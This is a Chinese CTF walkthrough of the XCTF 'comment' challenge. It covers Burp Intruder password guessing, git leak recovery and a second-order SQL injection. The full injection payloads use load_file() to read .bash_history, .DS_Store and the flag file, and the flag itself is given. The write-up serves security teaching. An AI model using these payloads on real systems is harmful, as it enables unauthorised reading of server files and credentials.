xctf-comment(Intruder,git恢复,SQL注入,Hex解码)
这题是2018年网鼎杯真题,考察 Burp Suite 的 Intruder 模块去找用户密码,使用 githacker 恢复代码(githack不行),代码审计发现SQL二次注入,尝试SQL注入读取文件内容,读取的是/home/www/.bash_history
历史操作,发现 /var/www/html/.DS_Store
文件转存到/tmp
后被删除了,使用SQL读取.DS_Store
发现存在 flag_8946e1ff1ee3e40f.php
文件,使用SQL注入读取它,对内容进行 Hex 解码得到 flag 信息。
ailx10
1942 次咨询
4.9
网络安全优秀回答者
网络安全硕士
去咨询
难度系数:5(官方难度:7)
点击发帖,会302重定向到登录页面,并且提示了用户名和密码的一部分
随便写一个秘密,然后抓包,查看表单结构,以及失败的响应内容
使用Burp Suite的 Intruder 模块,发现只有666的时候,没有出现 username or password error
使用zhangwei666登录后,就可以发帖了
使用 dirsearch 扫描一下目录,发现有 .git
泄漏
使用 GitHack 下载,只有一个 write_do.php
文件,并且短的离谱
python3 GitHack.py http://61.147.171.105:59603/.git/
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':break;
case 'comment':break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>
在浏览器中,查看控制台 Console ,得到线索:程序员GIT写一半跑路了,都没来得及Commit :)
尝试恢复,结果和 writeup 中的结果不一样(抱歉,是我使用的姿势不对)
git log --reflog
我使用 GitHack 并没有下载到 .git
文件夹,提示我这不是一个 git 仓库,然后我换成另一个软件 githacker,成功下载到 .git
文件夹
githacker --url http://61.147.171.105:58852/.git/ --output-folder result
再次 git log --reflog
发现和 writeup 一样了
恢复到时间最后的一个(refs/stash),终于看到完整的代码了
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
// 检查用户是否已经登录。如果$_SESSION['login']不是'yes',则重定向到登录页面。
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);// 构造SQL语句插入新的帖子到board表中$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);// 查询board表以确认该帖子存在$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);// 如果找到对应的帖子,则继续处理评论if($num>0){// 获取帖子的分类$category = mysql_fetch_array($result)['category'];// 转义评论内容以防止SQL注入$content = addslashes($_POST['content']);// 插入新评论到comment表中$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";// 执行插入操作$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>
观察发帖的请求和结果
POST /write_do.php?do=write HTTP/1.1
Host: 61.147.171.105:58852
Content-Length: 28
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:58852
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:58852/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=087u0hvrd6a2mm6rdd2onb4e84
Connection: closetitle=1&category=2&content=3
观察留言的请求和结果
POST /write_do.php?do=comment HTTP/1.1
Host: 61.147.171.105:58852
Content-Length: 17
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://61.147.171.105:58852
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://61.147.171.105:58852/comment.php?id=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=087u0hvrd6a2mm6rdd2onb4e84
Connection: closecontent=4&bo_id=1
那么,在do=write
中构造请求
title=11&category=12',content=database(),/*&content=13
就会得到这样的SQL语句
insert into board set category = '12',content=database(),/*',title = '11',content = '13';
再到do=comment
中构造请求
content=*/#&bo_id=2
就会得到这样的SQL语句
insert into commentset category = '12',content=database(),/*',content = '*/#',bo_id = '2';
这样就完成了SQL注入,按照下面这样提交请求
ailx11',content=(select(load_file("/home/www/.bash_history"))),/*
再去留言页面提交 */#
就能读取到 /home/www/.bash_history
文件
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
发帖
ailx31',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
提交留言
*/#
对 Hex 进行解码
def remove_non_ascii(s):# 使用列表推导式和ord()函数来保留只有ASCII范围内的字符return ''.join([char for char in s if ord(char) < 128 and ord(char) > 32])def hex2str(hex_string):byte_data = bytes.fromhex(hex_string)# 尝试解码为utf-8字符串,忽略无法解码的字节string_data = byte_data.decode('utf-8', errors='ignore')# 移除非ASCII的可见字符cleaned_string = remove_non_ascii(string_data)print(cleaned_string)if __name__ == "__main__":hex_string = "0000..."hex2str(hex_string)
去除了不可见的字符,得到下面的内容:
Bud1strapIlbootstrapIlocblobF(comment.phpIlocblob(cssIlocblobR(
flag_8946e1ff1ee3e40f.php
Ilocblob(fontsIlocblobFindex.phpIlocblobjsIlocblobRlogin.phpIlocblobmysql.phpIlocblobFvendorIlocblobwrite_do.phpIlocblobR@@@@EDSDB`@@@
同理,读取 flag_8946e1ff1ee3e40f.php
123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
得到Hex编码的内容如下:
使用上面的脚本,直接解码,得到下面的内容:
<?php$flag="flag{0dd14aae81d94904b3492117e2a3d4df}";?>
发布于 2025-01-04 19:02・IP 属地江苏
相关文章:
xctf-comment(Intruder,git恢复,SQL注入,Hex解码)
这题是2018年网鼎杯真题,考察 Burp Suite 的 Intruder 模块去找用户密码,使用 githacker 恢复代码(githack不行),代码审计发现SQL二次注入,尝试SQL注入读取文件内容,读取的是/home/www/.bash_hi…...
Docker Compose创建镜像服务
什么是Docker Compose 使用Docker Compose,可以使用YAML配置文件(称为Compose文件)来配置应用程序的服务,然后使用Compose CLI从配置中创建并启动所有服务 。 Compose文件的默认路径是compose.yaml(首选)…...
kafka学习笔记5 PLAIN认证——筑梦之路
在Kafka中,SASL(Simple Authentication and Security Layer)机制包括三种常见的身份验证方式: SASL/PLAIN认证:含义是简单身份验证和授权层应用程序接口,PLAIN认证是其中一种最简单的用户名、密码认证方式&…...
Walrus Learn to Earn计划正式启动!探索去中心化存储的无限可能
本期 Learn to Earn 活动将带领开发者和区块链爱好者深入探索 Walrus 的技术核心与实际应用,解锁分布式存储的无限可能。参与者不仅能提升技能,还能通过完成任务赢取丰厚奖励!🌊 什么是 Walrus? 数据主权如今正成为越…...
Linux学习笔记
1、什么是Linux Linux,一般指GNU/Linux(单独的Linux内核并不可直接使用,一般搭配GUN套件,故得此称呼),是一种免费使用和自由传播的类UNIX操作系统。它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用…...
解锁电商设计新速度:StartAI插件制作产品图实操教程
在电商设计这片竞争激烈的战场上,每一位设计师都在追求高效与创意的完美融合。繁琐的背景抠图、单一的设计模板、紧迫的时间周期,常常让我们力不从心。但现在,StartAI插件的问世,为我们的设计之路带来了革命性的改变。下面&#x…...
AutoPrompt框架和实操:如何用AutoPrompt完成电影评论和聊天审核任务?
1. AutoPrompt框架概述 1.1 框架定义与目标 AutoPrompt是一个旨在提升和完善用户提示以适应现实世界用例的提示优化框架。该框架通过迭代生成具有挑战性的边缘案例数据集,并相应地优化提示,从而自动生成针对用户意图量身定制的高质量、详细的提示。其核心目标是利用大型语言…...
修复 Kubernetes Deployment 修改后未生效的问题
在 Kubernetes 集群中,当尝试修改某些 Deployment 资源(如 calico-kube-controllers)的 image 配置时,发现修改总是未生效,并恢复到原样。这种问题通常是因为 Deployment 资源受到其他控制器(如 Operator&a…...
Excel 技巧17 - 如何计算倒计时,并添加该倒计时的数据条(★)
本文讲如何计算倒计时,并添加该倒计时的数据条。 1,如何计算倒计时 这里也要用公式 D3 - TODAY() 显示为下面这个样子的 然后右键该单元格,选 设置单元格格式 然后点 常规 这样就能显示出还书倒计时的日数了。 下拉适用到其他单元格。 2&a…...
Golang Gin系列-5:数据模型和数据库
在这篇Gin教程的博客中,我们将探索如何将模型和数据库与Gin框架无缝集成,使你能够构建健壮且可扩展的web应用程序。通过利用流行的库并遵循最佳实践,你将学习如何定义模型、建立数据库连接、执行CRUD操作以及确保基于gin的项目中的数据完整性…...
Android系统开发(十九):无缝拉伸的艺术——9-Patch 可绘制对象详解
引言 在移动开发中,背景、标题以及其他界面元素的设计质量直接影响用户体验。然而,如何让图片适应不同分辨率设备,成为开发者常常头疼的问题。这时,9-Patch 闪亮登场!它不仅可以无缝拉伸,还能保持视觉效果…...
物联网网关Web服务器--CGI开发实例BMI计算
本例子通一个计算体重指数的程序来演示Web服务器CGI开发。 硬件环境:飞腾派开发板(国产E2000处理器) 软件环境:飞腾派OS(Phytium Pi OS) 硬件平台参考另一篇博客:国产化ARM平台-飞腾派开发板…...
计算机网络 (51)鉴别
前言 计算机网络鉴别是信息安全领域中的一项关键技术,主要用于验证用户或信息的真实性,以及确保信息的完整性和来源的可靠性。 一、目的与重要性 鉴别的目的是验明用户或信息的正身,对实体声称的身份进行唯一识别,以便验证其访问请…...
Mellanox ConnectX 系列网卡的双驱动架构:以太网与 InfiniBand 的协同设计
在现代数据中心和高性能计算(HPC)环境中,网络硬件的性能和功能至关重要。Mellanox ConnectX 系列网卡以其卓越的性能和多功能性而闻名,支持从传统的以太网到高性能的 InfiniBand 网络协议。这种多功能性使得 Mellanox 网卡能够满足不同应用场景的需求,从常规的数据中心网络…...
【Java】阿里环球Antom支付对接
阿里环球Antom支付对接 线上文档地址: GitHub:https://github.com/alipay/global-open-sdk-java 文档:https://global.alipay.com/docs/ac/ams_zh-cn/session_cashier maven: <!--阿里国际支付--><dependency><g…...
【vim】vim编辑器如何设置行号
vim编辑器如何设置行号 一、**临时设置行号**二、永久设置行号2.1. **用户配置文件方式(针对当前用户)**2.2. **全局配置文件方式(谨慎使用,会影响所有用户)** 在Vim中设置行号有以下两种常见的方法: 一、…...
爬虫基础之爬取某站视频
目标网址:为了1/4螺口买小米SU7,开了一个月,它值吗?_哔哩哔哩_bilibili 本案例所使用到的模块 requests (发送HTTP请求)subprocess(执行系统命令)re (正则表达式操作)json (处理JSON数据) 需求分析: 视频的名称 F12 打开开发者工具 or 右击…...
2024嵌入式系统的未来发展与技术洞察分享
时间如白驹过隙,不知不觉又是一年,这一年收获满满。接下来,将本年度对技术的感悟和洞察分析如下,希望对大家有所帮助。 在过去几十年里,嵌入式系统技术迅速发展,成为现代电子设备和智能硬件的核心组成部分。…...
[微服务]注册中心优化
环境隔离 企业实际开发中,往往会搭建多个运行环境,例如: 开发环境测试环境预发布环境生产环境 这些不同环境之间的服务和数据之间需要隔离。 还有的企业中,会开发多个项目,共享nacos集群。此时,这些项目…...
Leetcode 3426. Manhattan Distances of All Arrangements of Pieces
Leetcode 3426. Manhattan Distances of All Arrangements of Pieces 1. 解题思路2. 代码实现 题目链接:3426. Manhattan Distances of All Arrangements of Pieces 1. 解题思路 这道题很惭愧,一开始没有搞定,后来看了答案想了想ÿ…...
【重庆市乡镇界】面图层shp格式arcgis数据乡镇名称和编码wgs84坐标无偏移内容测评
标题中的“最新重庆市乡镇界面图层shp格式arcgis数据乡镇名称和编码wgs84坐标无偏移最新”指的是一个地理信息系统(GIS)的数据集,特别设计用于ArcGIS软件。这个数据集包含了重庆市所有乡镇的边界信息,以Shapefile(.shp…...
基于ChatGPT的论文写作辅助工具研究
**基于ChatGPT的论文写作辅助工具研究** **摘要**: 随着人工智能技术的飞速发展,自然语言处理(NLP)领域取得了显著进步。ChatGPT作为OpenAI最新推出的生成式预训练Transformer模型,在文本生成、对话系统等方面展现出…...
定时器setTimeout和setInterval
setTimeOut()异步 setInterval()异步...
PCL 部分点云视点问题【2025最新版】
目录 一、问题概述二、解决方案1、软件实现2、代码实现三、调整之后博客长期更新,本文最近更新时间为:2025年1月18日。 一、问题概述 针对CloudCompare软件处理过的pcd格式点云,在使用PCL进行特征点提取、配准等实验中最终显示结果出现点云位置偏差较大的问题,本博客给出解…...
Cursor 与常见集成开发环境(IDE)的优势对比
Cursor与常见集成开发环境(IDE)的优势对比 一、AI 辅助编程能力 强大的代码生成功能: Cursor: 以其内置的强大 AI 辅助编程功能为核心优势。用户可以通过输入自然语言描述,快速生成各种编程语言的代码。例如…...
TDengine 做为 FLINK 数据源技术参考手册
Apache Flink 是一款由 Apache 软件基金会支持的开源分布式流批一体化处理框架,可用于流处理、批处理、复杂事件处理、实时数据仓库构建及为机器学习提供实时数据支持等诸多大数据处理场景。与此同时,Flink 拥有丰富的连接器与各类工具,可对接…...
不重启JVM,替换掉已经加载的类
不重启JVM,替换掉已经加载的类 直接操作字节码 使用ASM框架直接操作class文件,在类中修改代码,然后retransform就可以了 下边是BTrace官方提供的一个简单例子: package com.sun.btrace.samples;import com.sun.btrace.annotati…...
axios的使用总结
一、Axios 简介 Axios 是一个基于 Promise 的 HTTP 客户端,用于浏览器和 Node.js。在 Vue 项目中,它主要用于发送 HTTP 请求来获取数据(如从 API 获取数据)或者提交数据(如用户登录、注册等表单数据)。 二…...
使用 F12 查看 Network 及数据格式
在浏览器中,F12 开发者工具的 “Network” 面板是用于查看网页在加载过程中发起的所有网络请求,包括 API 请求,以及查看这些请求的详细信息和响应数据的。以下以常见的 Chrome 浏览器为例,介绍如何使用 F12 控制台查看 Network 里…...
HTML<img>标签
例子 如何插入图片: <img src"img_girl.jpg" alt"Girl in a jacket" width"500" height"600"> 下面有更多“自己尝试”的示例。 定义和用法 该<img>标签用于在 HTML 页面中嵌入图像。 从技术上讲&#x…...
Android系统开发(六):从Linux到Android:模块化开发,GKI内核的硬核科普
引言: 今天我们聊聊Android生态中最“硬核”的话题:通用内核镜像(GKI)与内核模块接口(KMI)。这是内核碎片化终结者的秘密武器,解决了内核和供应商模块之间无尽的兼容性问题。为什么重要&#x…...
每日一刷——1.20——准备蓝桥杯
链接:登录—专业IT笔试面试备考平台_牛客网 来源:牛客网 题目一 请统计某个给定范围[L, R]的所有整数中,数字2出现的次数。 比如给定范围[2, 22],数字2在数2中出现了1次,在数12中出现1次,在数20中出现1次&a…...
知行合一:解决有心无力的问题,解决知易行难的问题,知行合一并不意味着事事都要合一,而是....
问题是什么? 想学习的时候,有手机阻碍我们。想戒掉手机短视频,卸载后,几天的时间,又下载了回来。制定了减肥计划,但就是不执行。明知道这样做是不对的,但依然行动不起来。 沉溺于各种各样的享…...
C++ Qt练习项目 日期时间数据 未完待续
个人学习笔记 新建项目 设计UI 实现组件功能 参考资料 4.7日期时间数据_哔哩哔哩_bilibili...
Golang学习笔记_28——工厂方法模式(实例)
Golang学习笔记_26——通道 Golang学习笔记_27——单例模式 Golang学习笔记_28——工厂方法模式 工厂方法模式(实例) package factory_method_demoimport "fmt"// Order 接口,定义订单的基本操作 type Order interface {Calculate…...
linux下springboot项目nohup日志或tomcat日志切割处理方案
目录 1. 配置流程 2. 配置说明 其他配置选项: 3. 测试执行 4. 手动执行 https://juejin.cn/post/7081890486453010469 通常情况下,我们的springboot项目部署到linux服务器中,通过nohup java -jar xxx.jar &指令来进行后台运行我们…...
SentencePiece和 WordPiece tokenization 的含义和区别
SentencePiece和 WordPiece tokenization 的含义和区别 SentencePiece 和 WordPiece 都是常用的分词(tokenization)技术,主要用于自然语言处理(NLP)中的文本预处理,尤其是在处理大规模文本数据时。它们都基于子词(subword)单元,能够将未登录词(out-of-vocabulary, O…...
视频修复最强算法 部署笔记2025
目录 模型下载: 模型: 原版保存的视频,vs code不播放: 模型下载: Release ProPainter V0.1.0 Release sczhou/ProPainter GitHub huggingface-cli download --resume-download lixiaowen/diffuEraser --local-dir /mnt/pfs/models/huggingface/models--lixiaowen--d…...
Java数据结构——优先队列
目录 引言1. 优先队列2. 优先队列的实现2.1 堆的概念2.2 堆的创建2.2.1 堆的向下调整2.3 堆的插入2.4 堆的删除 3. 总结 引言 前面一篇文章讲了二叉树,本篇将讲述数据结构中的优先队列,优先队列则需要用到完全二叉树来实现。 1. 优先队列 队列&#x…...
红外热成像之无人机载荷
电力巡检 相较于传统的人工电力巡线方式,无人机巡检能够在高空对人工难以达到或无法检测的设备进行检测,实现了电子化、信息化、智能化巡检,可以提高巡检的工作效率和应急抢险水平。 森林防火 无人机搭载红外光电系统能在森林高空进行全天候监…...
深入Spring Boot:自定义Starter开发与实践
引言 Spring Boot通过其强大的自动配置机制和丰富的Starter模块,极大地简化了Spring应用的开发过程。Starter模块封装了一组相关的依赖和配置,使得开发者可以通过简单的依赖引入,快速启用特定的功能。然而,除了使用Spring Boot提…...
MasterSAM downloadService任意文件读取(CVE-2024-55457)(附脚本)
免责申明: 本文所描述的漏洞及其复现步骤仅供网络安全研究与教育目的使用。任何人不得将本文提供的信息用于非法目的或未经授权的系统测试。作者不对任何由于使用本文信息而导致的直接或间接损害承担责任。如涉及侵权,请及时与我们联系,我们将尽快处理并删除相关内容。 0x0…...
【Pytest】基础到高级功能的理解使用
文章目录 第一部分:Pytest 简介1.1 什么是 Pytest?1.2 Pytest 的历史1.3 Pytest 的核心概念1.4 Pytest 的特点1.5 为什么选择 Pytest? 第二部分:Pytest 的基本使用2.1 安装 Pytest2.2 编写第一个测试用例2.2.1 创建一个简单的测试…...
【Linux系统编程】—— 从零开始实现一个简单的自定义Shell
文章目录 什么是自主shell命令行解释器?实现shell的基础认识全局变量的配置初始化环境变量实现内置命令(如 cd 和 echo)cd命令:echo命令: 构建命令行提示符获取并解析用户输入的命令执行内置命令与外部命令Shell的主循…...
探索云原生可观测性:技术与团队协作的深度结合
TheNewStack 出品的电子书《Cloud Native Observability for DevOps Teams》读后感,老书新读,还是另有一番领悟。 阅读原文请转到:https://jimmysong.io/blog/cloud-native-observability-devops/ 最近读了 TheNewStack 发布的电子书《Cloud …...
Vue基础(2)
19、组件之间传递数据 组件与组件之间不是完全独立的,而是有交集的,那就是组件与组 件之间是可以传递数据的 传递数据的解决方案就是 props ComponentA.vue <template><!-- 使用ComponentB组件,并传递title属性 --><h3>…...
Yearning开源MySQL SQL审核平台
一款MYSQL SQL语句/查询审计工具,为DBA与开发人员使用. 本地部署,注重隐私,简单高效的MYSQL审计平台。 它可以通过流程审批,实现真实线上环境sql的审核和执行,还可以回滚执行,能够确保线上SQL更新的可靠性…...
《鸿蒙Next应用商店:人工智能开启智能推荐与运营新时代》
在科技飞速发展的当下,鸿蒙Next系统的出现为操作系统领域带来了新的变革与机遇,而人工智能技术的融入更是让其应用商店的智能化推荐和运营迈向了一个全新的高度。 用户画像精准构建 在鸿蒙Next系统中,应用商店可以借助系统强大的权限管理和…...
SSTI注入
ssti漏洞成因 ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,…...
根据经纬度查询地理位置信息API
API 概述 接口名称:查询地理位置信息V2接口类型:HTTP GET接口地址:https://api.kertennet.com/geography/locationInfo_v2请求编码格式:utf-8 请求说明 请求头部 标签类型必填说明参数示例Content-Typestring是请求的内容类型…...